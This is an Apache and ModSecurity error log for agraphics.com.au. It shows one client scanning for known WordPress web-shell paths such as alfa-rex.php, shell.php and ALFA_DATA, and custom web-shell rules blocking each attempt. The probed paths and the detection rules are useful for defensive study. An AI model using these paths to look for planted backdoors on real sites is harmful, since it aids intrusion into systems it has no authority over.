[Sat Nov 22 05:51:54.132997 2025] [:error] [pid 53566:tid 53569] [client 172.161.73.78:45597] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/lock.php"] [unique_id "aSDe-sbSHDBkRbwMbd48sQAAAME"]
[Sat Nov 22 05:51:57.029317 2025] [:error] [pid 53479:tid 53539] [client 172.161.73.78:55441] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSDe_W6cicFF3Aas-oR59gAAAIM"]
[Sat Nov 22 05:51:57.962081 2025] [:error] [pid 53479:tid 53560] [client 172.161.73.78:63014] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSDe_W6cicFF3Aas-oR5-AAAAJg"]
[Sat Nov 22 05:52:00.627376 2025] [:error] [pid 53479:tid 53554] [client 172.161.73.78:55455] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/config.php"] [unique_id "aSDfAG6cicFF3Aas-oR6AgAAAJI"]
[Sat Nov 22 05:52:09.248274 2025] [:error] [pid 53479:tid 53560] [client 172.161.73.78:33950] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/config.php"] [unique_id "aSDfCW6cicFF3Aas-oR6CwAAAJg"]
[Sat Nov 22 05:52:11.616151 2025] [:error] [pid 53477:tid 53497] [client 172.161.73.78:10510] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/config.php"] [unique_id "aSDfC37Lu30Ku9O40aLfDgAAABA"]
[Sat Nov 22 05:52:14.521894 2025] [:error] [pid 53477:tid 53494] [client 172.161.73.78:10517] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aSDfDn7Lu30Ku9O40aLfFgAAAA0"]
[Sat Nov 22 05:52:15.605644 2025] [:error] [pid 53478:tid 53529] [client 172.161.73.78:46868] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aSDfDwhUYdXBbQswAdQUdAAAAFQ"]
[Sat Nov 22 05:52:17.108042 2025] [proxy_fcgi:error] [pid 53477:tid 53499] [client 172.161.73.78:33934] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:52:17.473011 2025] [:error] [pid 53477:tid 53496] [client 172.161.73.78:33934] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSDfEX7Lu30Ku9O40aLfIQAAAA8"]
[Sat Nov 22 05:52:23.289996 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:63031] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Utility/cc.php"] [unique_id "aSDfFxsTP0wy94zKUvGytAAAAQs"]
[Sat Nov 22 05:52:26.374493 2025] [:error] [pid 53478:tid 53517] [client 172.161.73.78:10532] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSDfGghUYdXBbQswAdQUfgAAAEg"]
[Sat Nov 22 05:52:27.417534 2025] [proxy_fcgi:error] [pid 25856:tid 25871] [client 172.161.73.78:45607] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:52:28.151974 2025] [proxy_fcgi:error] [pid 25856:tid 25858] [client 172.161.73.78:45607] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:52:28.752108 2025] [proxy_fcgi:error] [pid 25856:tid 25875] [client 172.161.73.78:45607] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:52:29.009012 2025] [:error] [pid 25856:tid 25872] [client 172.161.73.78:45607] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSDfHRsTP0wy94zKUvGywAAAAQ4"]
[Sat Nov 22 05:52:30.780101 2025] [proxy_fcgi:error] [pid 53477:tid 53490] [client 172.161.73.78:10338] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:52:31.097699 2025] [:error] [pid 53477:tid 53500] [client 172.161.73.78:10338] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSDfH37Lu30Ku9O40aLfNAAAABM"]
[Sat Nov 22 05:52:32.412495 2025] [:error] [pid 53566:tid 53581] [client 172.161.73.78:33951] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSDfIMbSHDBkRbwMbd49CwAAAM0"]
[Sat Nov 22 05:52:34.070458 2025] [:error] [pid 53479:tid 53556] [client 172.161.73.78:33966] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSDfIm6cicFF3Aas-oR6MAAAAJQ"]
[Sat Nov 22 05:52:35.641068 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:46875] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSDfIxsTP0wy94zKUvGyywAAAQA"]
[Sat Nov 22 05:52:37.883448 2025] [:error] [pid 53566:tid 53586] [client 172.161.73.78:46904] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aSDfJcbSHDBkRbwMbd49GQAAANI"]
[Sat Nov 22 05:52:39.374262 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:55427] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aSDfJxsTP0wy94zKUvGy0wAAARQ"]
[Sat Nov 22 05:52:41.083067 2025] [:error] [pid 25856:tid 25865] [client 172.161.73.78:55462] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aSDfKRsTP0wy94zKUvGy1AAAAQc"]
[Sat Nov 22 05:52:43.879221 2025] [:error] [pid 53478:tid 53520] [client 172.161.73.78:55460] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aSDfKwhUYdXBbQswAdQUqQAAAEs"]
[Sat Nov 22 05:52:49.171682 2025] [:error] [pid 53479:tid 53557] [client 172.161.73.78:46905] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aSDfMW6cicFF3Aas-oR6PwAAAJU"]
[Sat Nov 22 05:52:51.572823 2025] [:error] [pid 53479:tid 53545] [client 172.161.73.78:55486] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aSDfM26cicFF3Aas-oR6RwAAAIk"]
[Sat Nov 22 05:52:56.347619 2025] [:error] [pid 53477:tid 53485] [client 172.161.73.78:46863] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aSDfOH7Lu30Ku9O40aLfUgAAAAQ"]
[Sat Nov 22 05:52:58.253430 2025] [:error] [pid 53478:tid 53518] [client 172.161.73.78:46864] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aSDfOghUYdXBbQswAdQUwgAAAEk"]
[Sat Nov 22 05:52:59.201144 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:55446] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/moon.php"] [unique_id "aSDfO8bSHDBkRbwMbd49TAAAANg"]
[Sat Nov 22 05:53:00.053506 2025] [:error] [pid 53566:tid 53573] [client 172.161.73.78:62988] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/moon.php"] [unique_id "aSDfPMbSHDBkRbwMbd49TQAAAMU"]
[Sat Nov 22 05:53:04.899474 2025] [:error] [pid 53477:tid 53482] [client 172.161.73.78:10500] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/moon.php"] [unique_id "aSDfQH7Lu30Ku9O40aLfaQAAAAE"]
[Sat Nov 22 05:53:05.768316 2025] [:error] [pid 53478:tid 53513] [client 172.161.73.78:63017] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/moon.php"] [unique_id "aSDfQQhUYdXBbQswAdQU2AAAAEQ"]
[Sat Nov 22 05:53:08.918415 2025] [:error] [pid 53478:tid 53529] [client 172.161.73.78:33958] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/up.php"] [unique_id "aSDfRAhUYdXBbQswAdQU2wAAAFQ"]
[Sat Nov 22 05:53:10.943795 2025] [:error] [pid 25856:tid 25867] [client 172.161.73.78:46850] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/up.php"] [unique_id "aSDfRhsTP0wy94zKUvGy_QAAAQk"]
[Sat Nov 22 05:53:18.820661 2025] [:error] [pid 53477:tid 53482] [client 172.161.73.78:46859] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/up.php"] [unique_id "aSDfTn7Lu30Ku9O40aLfqwAAAAE"]
[Sat Nov 22 05:53:20.887190 2025] [:error] [pid 53477:tid 53483] [client 172.161.73.78:46870] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/up.php"] [unique_id "aSDfUH7Lu30Ku9O40aLftAAAAAI"]
[Sat Nov 22 05:53:22.787457 2025] [:error] [pid 53477:tid 53504] [client 172.161.73.78:43484] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/alfa-rex.php"] [unique_id "aSDfUn7Lu30Ku9O40aLfvAAAABc"]
[Sat Nov 22 05:53:34.607012 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:60044] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/shell.php"] [unique_id "aSDfXsbSHDBkRbwMbd49hQAAANg"]
[Sat Nov 22 05:53:36.203788 2025] [proxy_fcgi:error] [pid 53478:tid 53530] [client 172.161.73.78:11148] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:53:37.097918 2025] [:error] [pid 53478:tid 53518] [client 172.161.73.78:11148] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Utility/alfa-rex.php"] [unique_id "aSDfYQhUYdXBbQswAdQU-wAAAEk"]
[Sat Nov 22 05:53:38.801083 2025] [proxy_fcgi:error] [pid 53478:tid 53517] [client 172.161.73.78:40742] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:53:40.517726 2025] [:error] [pid 53478:tid 53510] [client 172.161.73.78:40742] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSDfZAhUYdXBbQswAdQVAQAAAEE"]
[Sat Nov 22 05:53:42.259510 2025] [:error] [pid 53566:tid 53583] [client 172.161.73.78:10575] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/include/wp-configs.php"] [unique_id "aSDfZsbSHDBkRbwMbd49lgAAAM8"]
[Sat Nov 22 05:53:43.567956 2025] [:error] [pid 53478:tid 53511] [client 172.161.73.78:10756] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/include/wp-configs.php"] [unique_id "aSDfZwhUYdXBbQswAdQVBwAAAEI"]
[Sat Nov 22 05:53:45.321032 2025] [:error] [pid 53477:tid 53500] [client 172.161.73.78:10807] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/include/wp-configs.php"] [unique_id "aSDfaX7Lu30Ku9O40aLgAgAAABM"]
[Sat Nov 22 05:53:46.386503 2025] [:error] [pid 25856:tid 25862] [client 172.161.73.78:10950] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "aSDfahsTP0wy94zKUvGzWAAAAQQ"]
[Sat Nov 22 05:53:47.307804 2025] [:error] [pid 53566:tid 53574] [client 172.161.73.78:10643] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "aSDfa8bSHDBkRbwMbd49mgAAAMY"]
[Sat Nov 22 05:53:50.656393 2025] [:error] [pid 53477:tid 53500] [client 172.161.73.78:10616] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "aSDfbn7Lu30Ku9O40aLgFAAAABM"]
[Sat Nov 22 05:53:52.636375 2025] [:error] [pid 53477:tid 53499] [client 172.161.73.78:38252] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "aSDfcH7Lu30Ku9O40aLgHAAAABI"]
[Sat Nov 22 05:53:54.073433 2025] [:error] [pid 53566:tid 53575] [client 172.161.73.78:38225] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSDfcsbSHDBkRbwMbd49ogAAAMc"]
[Sat Nov 22 05:53:55.330778 2025] [:error] [pid 53479:tid 53539] [client 172.161.73.78:41503] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSDfc26cicFF3Aas-oR6hwAAAIM"]
[Sat Nov 22 05:53:59.971442 2025] [:error] [pid 53566:tid 53589] [client 172.161.73.78:41474] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSDfd8bSHDBkRbwMbd49qgAAANU"]
[Sat Nov 22 05:54:02.021558 2025] [:error] [pid 53478:tid 53514] [client 172.161.73.78:64463] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSDfeghUYdXBbQswAdQVJQAAAEU"]
[Sat Nov 22 05:54:13.156675 2025] [:error] [pid 53478:tid 53510] [client 172.161.73.78:56012] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/alfa-rex.php"] [unique_id "aSDfhQhUYdXBbQswAdQVNwAAAEE"]
[Sat Nov 22 05:54:19.568047 2025] [:error] [pid 53479:tid 53537] [client 172.161.73.78:56895] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bg/xmrlpc.php"] [unique_id "aSDfi26cicFF3Aas-oR6zwAAAIE"]
[Sat Nov 22 05:54:22.033166 2025] [:error] [pid 25856:tid 25881] [client 172.161.73.78:64575] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bg/xmrlpc.php"] [unique_id "aSDfjhsTP0wy94zKUvGzsgAAARc"]
[Sat Nov 22 05:54:23.141109 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:65029] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bg/xmrlpc.php"] [unique_id "aSDfjxsTP0wy94zKUvGztAAAAQs"]
[Sat Nov 22 05:54:24.972722 2025] [:error] [pid 25856:tid 25882] [client 172.161.73.78:42071] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bg/xmrlpc.php"] [unique_id "aSDfkBsTP0wy94zKUvGzuQAAARg"]
